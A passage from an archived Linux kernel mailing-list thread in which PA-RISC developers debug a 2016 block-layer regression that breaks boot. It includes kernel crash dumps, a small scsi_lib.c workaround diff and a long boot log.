[   25.092000] sd 3:0:5:0: [sda] Write Protect is off
[   25.152000] sd 3:0:5:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   25.268000] sd 3:0:6:0: [sdb] Write Protect is off
[   25.328000] sd 3:0:6:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
[   25.452000]  sda: sda1 sda2 sda3 < sda5 sda6 >
[   25.508000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
[   25.584000] scsi_id(112): unaligned access to 0x00000000facac009 at ip=0x000000004100390b
[   25.688000] sd 3:0:6:0: [sdb] Attached SCSI disk
[   25.752000] sd 3:0:5:0: [sda] Attached SCSI disk
[   25.840000] scsi_id(113): unaligned access to 0x00000000fa799009 at ip=0x000000004100390b
[   25.972000] random: nonblocking pool is initialized
[   26.064000] ------------[ cut here ]------------
[   26.120000] WARNING: at /build/linux-4.4/linux-4.4.2/block/blk-merge.c:484
[   26.200000] Modules linked in: sd_mod sr_mod cdrom ata_generic ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 libata sym53c8xx scsi_transport_spi usbcore usb_common scsi_mod tulip
[   26.396000] CPU: 0 PID: 67 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #7 Debian 4.4.2-2
[   26.504000] task: 00000000bbe96b18 ti: 00000000bbf00000 task.ti: 00000000bbf00000
[   26.592000]
[   26.608000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   26.664000] PSW: 00001000000001001111111100001110 Not tainted
[   26.736000] r00-03  000000ff0804ff0e 00000000409e9280 00000000404f22a4 00000000bbf011e0

Here it stops. Usually you would see a stack backtrace now, but as I mentioned above
maybe the stack got corrupted and as such your tracing code is not being executed.

Then I moved the WARN_ON behind you tracing code. With that I got:

[   25.352000] cdrom: Uniform CD-ROM driver Revision: 3.20
[   25.444000]  sda: sda1 sda2 sda3 < sda5 sda6 >
[   25.496000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 >
[   25.568000] sd 3:0:5:0: [sda] Attached SCSI disk
[   25.644000] scsi_id(112): unaligned access to 0x00000000fae80009 at ip=0x000000004100390b
[   25.752000] sd 3:0:6:0: [sdb] Attached SCSI disk
[   25.836000] scsi_id(113): unaligned access to 0x00000000fac76009 at ip=0x000000004100390b
[   25.988000] random: nonblocking pool is initialized
[   26.048000] ------------[ cut here ]------------
[   26.104000] kernel BUG at /build/linux-4.4/linux-4.4.2/include/linux/scatterlist.h:92!
[   26.196000] CPU: 0 PID: 68 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #8 Debian 4.4.2-2
[   26.304000] task: 00000000bbeb40f8 ti: 00000000bbf08000 task.ti: 00000000bbf08000
[   26.392000] 
[   26.412000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   26.468000] PSW: 00001000000001001111111100001110 Not tainted
[   26.536000] r00-03  000000ff0804ff0e 00000000bbf091e0 00000000404f228c 00000000bbf091e0
[   26.632000] r04-07  00000000409b3a80 0000000000005000 0000000000000000 0000000000001000
[   26.728000] r08-11  000000000000001b 00000000000001b0 00000000bfd6e0f0 00000000bbe15a60
[   26.824000] r12-15  0000000000000000 0000000000000000 0000000000000003 000000007fa95178

Again, no stack backtrace.

Maybe Dave has more luck, otherwise I'll continue to try to get some info.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized bios" breaks boot on parisc-linux
Date: Wed, 24 Feb 2016 18:28:02 -0500
Lines: 5383
Approved: news@gmane.org
Message-ID: <FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net> <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com> <56CE2266.6010909@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-15--839570894
X-Trace: ger.gmane.org 1456356519 13689 80.91.229.3 (24 Feb 2016 23:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2016 23:28:39 +0000 (UTC)
Cc: Ming Lei <tom.leiming@gmail.com>, linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Feb 25 00:28:29 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1aYir5-0007MF-1i
	for lnx-linux-scsi@plane.gmane.org; Thu, 25 Feb 2016 00:28:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754011AbcBXX2O (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 24 Feb 2016 18:28:14 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:52865 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751949AbcBXX2G (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>); Wed, 24 Feb 2016 18:28:06 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160224232803.OLMX19982.mtlfep01.bell.net@mtlspm01.bell.net>;
          Wed, 24 Feb 2016 18:28:03 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by mtlspm01.bell.net
          with ESMTP
          id <20160224232802.QREQ25255.mtlspm01.bell.net@[192.168.2.10]>;
          Wed, 24 Feb 2016 18:28:02 -0500
In-Reply-To: <56CE2266.6010909@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.56CE3C83.0074,ss=1,re=0.000,fgs=0
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:111229 gmane.linux.ports.parisc:26495
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/111229>


--Apple-Mail-15--839570894
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2016-02-24, at 4:36 PM, Helge Deller wrote:

> Maybe Dave has more luck, otherwise I'll continue to try to get some =
info.

I tried your patch on the commit in linux-block which first failed to =
boot.  As with Helge, the
system crashed and no useful data was output on console.  I then applied =
following patch
to give some extra segments and tired again:

diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
index b1a2631..b421f03 100644
--- a/drivers/scsi/scsi_lib.c
+++ b/drivers/scsi/scsi_lib.c
@@ -595,6 +595,11 @@ static int scsi_alloc_sgtable(struct =
scsi_data_buffer *sdb, int nents, bool mq)
=20
 	BUG_ON(!nents);
=20
+	/* Provide extra entries in case of split.  */
+	nents +=3D 8;
+	if (nents > SCSI_MAX_SG_SEGMENTS)
+		nents =3D SCSI_MAX_SG_SEGMENTS;
+
 	if (mq) {
 		if (nents <=3D SCSI_MAX_SG_SEGMENTS) {
 			sdb->table.nents =3D nents;

The attached file shows the crash in first boot.  The second boot was =
successful and various output
was generated by your check code.

Let me know if you want me to try with HEAD.

Regards,
Dave Anglin
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-15--839570894
Content-Disposition: attachment;
	filename=boot.log.txt
Content-Type: text/plain;
	name="boot.log.txt"
Content-Transfer-Encoding: quoted-printable

sd 6:0:2:0: [sdc] Attached SCSI disk                                     =
      =20
------------[ cut here ]------------                                     =
      =20
------------[ cut here ]------------                                     =
      =20
kernel BUG at include/linux/scatterlist.h:92!                            =
      =20
CPU: 1 PID: 1026 Comm: systemd-udevd Not tainted 4.2.0-rc2+ #24          =
      =20
task: 000000007f76ac48 ti: 000000007e734000 task.ti: 000000007e734000    =
      =20
                                                                         =
      =20
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                    =
      =20
PSW: 00001000000001001111010100001110 Not tainted                        =
      =20
r00-03  000000ff0804f50e 000000007e735130 00000000403623f0 =
000000007e735130    =20
r04-07  0000000040750090 000000000001b000 0000000000001000 =
00000000000001b0    =20
r08-11  0000000000000000 0000000000000000 000000007f036100 =
000000007c486f80    =20
r12-15  0000000000000001 0000000000000004 000000000000001b =
000000007e048088    =20
r16-19  0000000000000000 0000000042d79c00 0000000000001000 =
0000000000001000    =20
r20-23  0000000000000000 000000000000a000 00000000407d1940 =
0002d05ffff4be80    =20
r24-27  ffffffff87654000 000000003e400000 000000007c486f80 =
0000000040750090    =20
r28-31  0000000000000000 000000007e735230 000000007e735260 =
0000000087654321    =20
sr00-03  0000000000016800 0000000000000000 0000000000000000 =
0000000000016800   =20
sr04-07  0000000000000000 0000000000000000 0000000000000000 =
0000000000000000   =20
                                                                         =
      =20
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040362614 =
0000000040362618=20
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000f9cd735260           =
      =20
 CPU:        1   CR30: 000000007e734000 CR31: 15fcd4f080459787           =
      =20
 ORIG_R28: 0000000000011220                                              =
      =20
 IAOQ[0]: blk_rq_map_sg+0x58c/0x8c0                                      =
      =20
 IAOQ[1]: blk_rq_map_sg+0x590/0x8c0                                      =
      =20
 RP(r2): blk_rq_map_sg+0x368/0x8c0                                       =
      =20
Backtrace:                                                               =
      =20
 [<000000004046f6d0>] scsi_init_sgtable+0x70/0xb8                        =
      =20
 [<000000004046f784>] scsi_init_io+0x6c/0x220                            =
      =20
 [<00000000104ab5c0>] sd_setup_read_write_cmnd+0x58/0x968 [sd_mod]       =
      =20
 [<00000000104abf14>] sd_init_command+0x44/0x130 [sd_mod]                =
      =20
 [<000000004046fa3c>] scsi_setup_cmnd+0x104/0x1b0                        =
      =20
 [<000000004046fcd8>] scsi_prep_fn+0x100/0x1a0                           =
      =20
 [<000000004035b9b0>] blk_peek_request+0x1b8/0x298                       =
      =20
 [<0000000040471248>] scsi_request_fn+0xf8/0xa90                         =
      =20
 [<0000000040357244>] __blk_run_queue+0x4c/0x70                          =
      =20
 [<00000000403804e4>] cfq_insert_request+0x2dc/0x580                     =
      =20
 [<0000000040356404>] __elv_add_request+0x1b4/0x300                      =
      =20
                                                                         =
      =20
CPU: 1 PID: 1026 Comm: systemd-udevd Not tainted 4.2.0-rc2+ #24          =
      =20
Backtrace:                                                               =
      =20
 [<000000004015e4a8>] show_stack+0x20/0x38                               =
      =20
 [<0000000040385f9c>] dump_stack+0x9c/0x110                              =
      =20
 [<000000004015e67c>] die_if_kernel+0x19c/0x2e0                          =
      =20
 [<000000004015f558>] handle_interruption+0x9a8/0x9d0                    =
      =20
                                                                         =
      =20
---[ end trace 4edd1ace8cf92f30 ]---                                     =
      =20
kernel BUG at include/linux/scatterlist.h:92!                            =
      =20
CPU: 3 PID: 1021 Comm: systemd-udevd Tainted: G      D         =
4.2.0-rc2+ #24  =20
task: 000000007f7b63c8 ti: 000000007c650000 task.ti: 000000007c650000    =
      =20
                                                                         =
      =20
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                    =
      =20
PSW: 00001000000001001111111100001110 Tainted: G      D                  =
      =20
r00-03  000000ff0804ff0e 000000007c651130 00000000403623f0 =
000000007c651130    =20
r04-07  0000000040750090 000000000000c000 0000000000001000 =
00000000000002a0    =20
r08-11  0000000000000000 0000000000000000 000000007e03f280 =
000000007e410060    =20
r12-15  0000000000000001 0000000000000003 000000000000002a =
000000007e2cb7d0    =20
r16-19  0000000000000000 0000000042df0500 0000000000001000 =
0000000000001000    =20
r20-23  0000000000000000 0000000000011000 00000000407d1940 =
0002eb2f3ff45343    =20
r24-27  ffffffff87654000 0000000000001000 000000007e410060 =
0000000040750090    =20
r28-31  000000007e410048 000000007c651230 000000007c651260 =
0000000087654321    =20
sr00-03  0000000000013800 0000000000000000 0000000000000000 =
0000000000013800   =20
sr04-07  0000000000000000 0000000000000000 0000000000000000 =
0000000000000000   =20
                                                                         =
      =20
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040362614 =
0000000040362618=20
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000f194651260           =
      =20
 CPU:        3   CR30: 000000007c650000 CR31: 790e0bfc707c59cf           =
      =20
 ORIG_R28: 0000000000011220                                              =
      =20
 IAOQ[0]: blk_rq_map_sg+0x58c/0x8c0                                      =
      =20
 IAOQ[1]: blk_rq_map_sg+0x590/0x8c0                                      =
      =20
 RP(r2): blk_rq_map_sg+0x368/0x8c0                                       =
      =20
Backtrace:                                                               =
      =20
 [<000000004046f6d0>] scsi_init_sgtable+0x70/0xb8                        =
      =20
 [<000000004046f784>] scsi_init_io+0x6c/0x220                            =
      =20
 [<00000000104ab5c0>] sd_setup_read_write_cmnd+0x58/0x968 [sd_mod]       =
      =20
 [<00000000104abf14>] sd_init_command+0x44/0x130 [sd_mod]                =
      =20
 [<000000004046fa3c>] scsi_setup_cmnd+0x104/0x1b0                        =
      =20
 [<000000004046fcd8>] scsi_prep_fn+0x100/0x1a0                           =
      =20
 [<000000004035b9b0>] blk_peek_request+0x1b8/0x298                       =
      =20
 [<0000000040471248>] scsi_request_fn+0xf8/0xa90                         =
      =20
 [<0000000040357244>] __blk_run_queue+0x4c/0x70                          =
      =20
 [<00000000403804e4>] cfq_insert_request+0x2dc/0x580                     =
      =20
 [<0000000040356404>] __elv_add_request+0x1b4/0x300                      =
      =20
                                                                         =
      =20
CPU: 3 PID: 1021 Comm: systemd-udevd Tainted: G      D         =
4.2.0-rc2+ #24  =20
Backtrace:                                                               =
      =20
 [<000000004015e4a8>] show_stack+0x20/0x38                               =
      =20
 [<0000000040385f9c>] dump_stack+0x9c/0x110                              =
      =20
 [<000000004015e67c>] die_if_kernel+0x19c/0x2e0                          =
      =20
 [<000000004015f558>] handle_interruption+0x9a8/0x9d0                    =
      =20
                                                                         =
      =20
---[ end trace 4edd1ace8cf92f31 ]---                                     =
      =20
NMI watchdog: BUG: soft lockup - CPU#2 stuck for 22s! =
[systemd-udevd:1021]     =20
Modules linked in: ohci_pci ehci_pci ohci_hcd sr_mod mptspi ehci_hcd =
sd_mod mptn
CPU: 2 PID: 1021 Comm: systemd-udevd Tainted: G      D         =
4.2.0-rc2+ #24  =20
task: 000000007f7b63c8 ti: 000000007c650000 task.ti: 000000007c650000    =
      =20
                                                                         =
      =20
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                    =
      =20
PSW: 00001000000001101111111100001111 Tainted: G      D                  =
      =20
r00-03  000000ff0806ff0f 000000007c651d60 00000000401fec7c =
000000007c651c90    =20
r04-07  0000000040750090 000000007c651d30 00000000407e2280 =
00000000407e21b8    =20
r08-11  0000000042e8d3c0 0000000042e8d3c8 0000000000000001 =
0000000040727d70    =20
r12-15  0000000000000000 000000007c651d30 000000000000002a =
000000007e2cb7d0    =20
r16-19  000000007c651260 0000000042df0500 0000000000001000 =
0000000042e83620    =20
r20-23  0000000000000001 000000000800000f 000000000800000f =
0000000000000000    =20
r24-27  0000000000000000 0000000000000020 0000000042e8d3c8 =
0000000040750090    =20
r28-31  0000000000000001 000000007c651db0 000000007c651d60 =
0000000000000003    =20
sr00-03  0000000000015800 0000000000013800 0000000000000000 =
0000000000015800   =20
sr04-07  0000000000000000 0000000000000000 0000000000000000 =
0000000000000000   =20
                                                                         =
      =20
IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401feca4 =
00000000401feca8=20
 IIR: 4a7f0030    ISR: 0000000040750090  IOR: 00000000408b568c           =
      =20
 CPU:        2   CR30: 000000007c650000 CR31: ffffffffffffffff           =
      =20
 ORIG_R28: 00000000407e2258                                              =
      =20
 IAOQ[0]: smp_call_function_many+0x32c/0x3b8                             =
      =20
 IAOQ[1]: smp_call_function_many+0x330/0x3b8                             =
      =20
 RP(r2): smp_call_function_many+0x304/0x3b8                              =
      =20
Backtrace:                                                               =
      =20
 [<00000000401fedec>] on_each_cpu+0x5c/0xa0                              =
      =20
 [<000000004015bdb0>] flush_tlb_all+0x108/0x1e8                          =
      =20
 [<0000000040241700>] tlb_flush_mmu_tlbonly+0x48/0xa8                    =
      =20
 [<00000000402423e8>] tlb_finish_mmu+0x30/0x98                           =
      =20
 [<000000004024e87c>] exit_mmap+0x134/0x1b8                              =
      =20
 [<00000000401834a0>] mmput+0xc0/0x1b0                                   =
      =20
 [<00000000401886a0>] do_exit+0x318/0xbe0                                =
      =20
 [<000000004015e6d8>] die_if_kernel+0x1f8/0x2e0                          =
      =20
 [<000000004015f558>] handle_interruption+0x9a8/0x9d0                    =
      =20
                                                                         =
      =20
timer_interrupt(CPU 2): delayed! cycles 801FB1C1 rem 6B3BF  next/now =
236C62FFC9A
NMI watchdog: BUG: soft lockup - CPU#2 stuck for 22s! =
[systemd-udevd:1021]     =20
Modules linked in: ohci_pci ehci_pci ohci_hcd sr_mod mptspi ehci_hcd =
sd_mod mptn
CPU: 2 PID: 1021 Comm: systemd-udevd Tainted: G      D      L  =
4.2.0-rc2+ #24  =20
task: 000000007f7b63c8 ti: 000000007c650000 task.ti: 000000007c650000    =
      =20
                                                                         =
      =20
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                    =
      =20
PSW: 00001000000001101111111100001111 Tainted: G      D      L           =
      =20
r00-03  000000ff0806ff0f 000000007c651d60 00000000401fec7c =
000000007c651c90    =20
r04-07  0000000040750090 000000007c651d30 00000000407e2280 =
00000000407e21b8    =20
r08-11  0000000042e8d3c0 0000000042e8d3c8 0000000000000001 =
0000000040727d70    =20
r12-15  0000000000000000 000000007c651d30 000000000000002a =
000000007e2cb7d0    =20
r16-19  000000007c651260 0000000042df0500 0000000000001000 =
0000000042e83620    =20
r20-23  0000000000000001 000000000800000f 000000000800000f =
0000000000000000    =20
r24-27  0000000000000000 0000000000000020 0000000042e8d3c8 =
0000000040750090    =20
r28-31  0000000000000001 000000007c651db0 000000007c651d60 =
0000000000000003    =20
sr00-03  0000000000015800 0000000000013800 0000000000000000 =
0000000000015800   =20
sr04-07  0000000000000000 0000000000000000 0000000000000000 =
0000000000000000   =20
                                                                         =
      =20
IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401feca4 =
00000000401feca8=20
 IIR: 4a7f0030    ISR: 0000000040750090  IOR: 00000000408b568c           =
      =20
 CPU:        2   CR30: 000000007c650000 CR31: ffffffffffffffff           =
      =20
 ORIG_R28: 00000000407e2258                                              =
      =20
 IAOQ[0]: smp_call_function_many+0x32c/0x3b8                             =
      =20
 IAOQ[1]: smp_call_function_many+0x330/0x3b8                             =
      =20
 RP(r2): smp_call_function_many+0x304/0x3b8                              =
      =20
Backtrace:                                                               =
      =20
 [<00000000401fedec>] on_each_cpu+0x5c/0xa0                              =
      =20
 [<000000004015bdb0>] flush_tlb_all+0x108/0x1e8                          =
      =20
 [<0000000040241700>] tlb_flush_mmu_tlbonly+0x48/0xa8                    =
      =20
 [<00000000402423e8>] tlb_finish_mmu+0x30/0x98                           =
      =20
 [<000000004024e87c>] exit_mmap+0x134/0x1b8                              =
      =20
 [<00000000401834a0>] mmput+0xc0/0x1b0                                   =
      =20
 [<00000000401886a0>] do_exit+0x318/0xbe0                                =
      =20
 [<000000004015e6d8>] die_if_kernel+0x1f8/0x2e0                          =
      =20
 [<000000004015f558>] handle_interruption+0x9a8/0x9d0                    =
      =20
                                                                         =
      =20
timer_interrupt(CPU 2): delayed! cycles 801E0D93 rem 857ED  next/now =
29F15117C9C
INFO: rcu_sched detected stalls on CPUs/tasks: { 1} (detected by 3, =
t=3D6007 jiff)
Task dump for CPU 1:                                                     =
      =20
kworker/1:1     R  running task        0    58      2 0x00000004         =
      =20
Workqueue: events_freezable_power_ disk_events_workfn                    =
      =20
Backtrace:                                                               =
      =20
 [<00000000401a349c>] worker_thread+0x494/0x628                          =
      =20
 [<00000000401ab56c>] kthread+0x144/0x178                                =
      =20
 [<000000004014a020>] end_fault_vector+0x20/0x28                         =
      =20
 [<000000004014a0c0>] _switch_to_ret+0x0/0xf40                           =
      =20

....

Boot with following additional patch:

+	/* Provide extra entries in case of split.  */
+	nents +=3D 8;
+	if (nents > SCSI_MAX_SG_SEGMENTS)
+		nents =3D SCSI_MAX_SG_SEGMENTS;
+

Main Menu: Enter command or menu > bo                                    =
      =20
Interact with IPL (Y, N, or Cancel)?> n                                  =
      =20
                                                                         =
      =20
Booting...                                                               =
      =20
Boot IO Dependent Code (IODC) revision 2                                 =
      =20
                                                                         =
      =20
                                                                         =
      =20
HARD Booted.                                                             =
      =20
palo ipl 1.95 root@mkhppa3 Thu Apr 17 20:15:17 UTC 2014                  =
      =20
                                                                         =
      =20
Partition Start(MB) End(MB) Id Type                                      =
      =20
1               1      62   f0 Palo                                      =
      =20
2              63     305   83 ext2                                      =
      =20
3             306    2259   82 swap                                      =
      =20
4            2260   70007   83 ext2                                      =
      =20
                                                                         =
      =20
PALO(F0) partition contains:                                             =
      =20
    0/vmlinux64 3248926(9024320) bytes @ 0x48000                         =
      =20
                                                                         =
      =20
Command line for kernel: 'root=3DLABEL=3DROOT console=3DttyS0 HOME=3D/ =
rootfstype=3Dext3 '
Selected kernel: /vmlinuz from partition 2                               =
      =20
Selected ramdisk: /initrd.img from partition 2                           =
      =20
uncompressing Linux =
kernel.....................................................2
.                                                                        =
      =20
ELF64 executable                                                         =
      =20
Entry 00100000 first 00100000 n 2                                        =
      =20
Segment 0 load 00100000 size 206912 mediaptr 0x1000                      =
      =20
Segment 1 load 00133000 size 8008536 mediaptr 0x34000                    =
      =20
Loading ramdisk 10406466 bytes @ 3e201000...                             =
      =20
Branching to kernel entry point 0x00100000.  If this is the last         =
      =20
message you see, you may need to switch your console.  This is           =
      =20
a common symptom -- search the FAQ and mailing list at parisc-linux.org  =
      =20
                                                                         =
      =20
Linux version 4.2.0-rc2+ (dave@atlas) (gcc version 4.9.3 (GCC) ) #25 SMP =
Wed Fe6
unwind_init: start =3D 0x4077cd10, end =3D 0x407bbe30, entries =3D 16146 =
            =20
FP[0] enabled: Rev 1 Model 20                                            =
      =20
The 64-bit Kernel has started...                                         =
      =20
Default page size is 4KB.                                                =
      =20
bootconsole [ttyB0] enabled                                              =
      =20
Initialized PDC Console for debugging.                                   =
      =20
Determining PDC firmware type: 64 bit PAT.                               =
      =20
model 000088b0 00000491 00000000 00000002 56bb5389fb0d1ec0 100000f0 =
00000008 002
vers  00000302                                                           =
      =20
CPUID vers 20 rev 5 (0x00000285)                                         =
      =20
capabilities 0x35                                                        =
      =20
model 9000/785/C8000                                                     =
      =20
parisc_cache_init: Only equivalent aliasing supported!                   =
      =20
Memory Ranges:                                                           =
      =20
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB       =
      =20
 1) Start 0x0000000100000000 End 0x00000002ffdfffff Size   8190 MB       =
      =20
 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB       =
      =20
Total Memory: 12286 MB                                                   =
      =20
initrd: 7e201000-7ebeda42                                                =
      =20
initrd: reserving 3e201000-3ebeda42 (mem_max 2ffe00000)                  =
      =20
PERCPU: Embedded 18 pages/cpu @0000000042e61000 s34240 r8192 d31296 =
u73728     =20
SMP: bootstrap CPU ID is 0                                               =
      =20
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: =
3102215   =20
Kernel command line: root=3DLABEL=3DROOT console=3DttyS0 HOME=3D/ =
rootfstype=3Dext3 clockz
log_buf_len individual max cpu contribution: 4096 bytes                  =
      =20
log_buf_len total cpu_extra contributions: 126976 bytes                  =
      =20
log_buf_len min size: 131072 bytes                                       =
      =20
log_buf_len: 262144 bytes                                                =
      =20
early log buf free: 127792(97%)                                          =
      =20
PID hash table entries: 4096 (order: 3, 32768 bytes)                     =
      =20
Dentry cache hash table entries: 2097152 (order: 12, 16777216 bytes)     =
      =20
Inode-cache hash table entries: 1048576 (order: 11, 8388608 bytes)       =
      =20
Sorting __ex_table...                                                    =
      =20
Memory: 12338524K/12580864K available (4816K kernel code, 1587K rwdata, =
931K ro)
virtual kernel memory layout:                                            =
      =20
   vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)         =
      =20
   memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)       =
      =20
     .init : 0x0000000040100000 - 0x0000000040147000   ( 284 kB)         =
      =20
     .data : 0x00000000405fb000 - 0x0000000040870c10   (2519 kB)         =
      =20
     .text : 0x0000000040147000 - 0x00000000405fb000   (4816 kB)         =
      =20
Hierarchical RCU implementation.                                         =
      =20
        Build-time adjustment of leaf fanout to 64.                      =
      =20
NR_IRQS:128                                                              =
      =20
clocksource: cr16: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, =
max_idles
Console: colour dummy device 160x64                                      =
      =20
------------------------                                                 =
      =20
| Locking API testsuite:                                                 =
      =20
=
--------------------------------------------------------------------------=
--   =20
                                 | spin |wlock |rlock |mutex | wsem | =
rsem |   =20
  =
--------------------------------------------------------------------------=
   =20
                     A-A deadlock:failed|failed|  ok  =
|failed|failed|failed|   =20
                 A-B-B-A deadlock:failed|failed|  ok  =
|failed|failed|failed|   =20
             A-B-B-C-C-A deadlock:failed|failed|  ok  =
|failed|failed|failed|   =20
             A-B-C-A-B-C deadlock:failed|failed|  ok  =
|failed|failed|failed|   =20
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  =
|failed|failed|failed|   =20
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  =
|failed|failed|failed|   =20
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  =
|failed|failed|failed|   =20
                    double unlock:failed|failed|failed|  ok  =
|failed|failed|   =20
                  initialize =
held:failed|failed|failed|failed|failed|failed|   =20
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  =
ok  |   =20
  =
--------------------------------------------------------------------------=
   =20
              recursive read-lock:             |  ok  |             =
|failed|   =20
           recursive read-lock #2:             |  ok  |             =
|failed|   =20
            mixed read-write-lock:             |failed|             =
|failed|   =20
            mixed write-read-lock:             |failed|             =
|failed|   =20
  =
--------------------------------------------------------------------------=
   =20
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |                  =
      =20
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |                  =
      =20
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |                  =
      =20
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |                  =
      =20
       sirq-safe-A =3D> hirqs-on/12:failed|failed|  ok  |                =
        =20
       sirq-safe-A =3D> hirqs-on/21:failed|failed|  ok  |                =
        =20
         hard-safe-A + irqs-on/12:failed|failed|  ok  |                  =
      =20
         soft-safe-A + irqs-on/12:failed|failed|  ok  |                  =
      =20
         hard-safe-A + irqs-on/21:failed|failed|  ok  |                  =
      =20
         soft-safe-A + irqs-on/21:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |                  =
      =20
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |                  =
      =20
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |                  =
      =20
      hard-irq lock-inversion/123:failed|failed|  ok  |                  =
      =20
      soft-irq lock-inversion/123:failed|failed|  ok  |                  =
      =20
      hard-irq lock-inversion/132:failed|failed|  ok  |                  =
